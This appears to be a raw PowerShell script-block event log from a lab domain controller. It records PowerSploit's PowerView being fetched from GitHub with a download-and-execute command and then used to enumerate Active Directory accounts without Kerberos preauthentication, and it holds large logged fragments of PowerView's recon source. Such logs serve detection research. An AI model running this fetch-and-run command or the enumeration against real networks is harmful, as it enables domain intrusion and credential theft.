4104152150x0118488Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11& {[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}0054337b-c41f-4a10-b59a-960b7da8a326
4104152150x0113417Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose4eaabcdd-8d23-48f0-8e01-fa42d877016a
4104132150x0112116Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local6162([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112114Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5962external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup
.DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member's domain
name to the parent group's domain name, outputting the member if the domains differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignGroupMember
Return all group members in the current domain where the group and member differ.
.EXAMPLE
Get-DomainForeignGroupMember -Domain dev.testlab.local
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignGroupMember
Custom PSObject with translated group member property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $Search772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112108Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5362vent-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
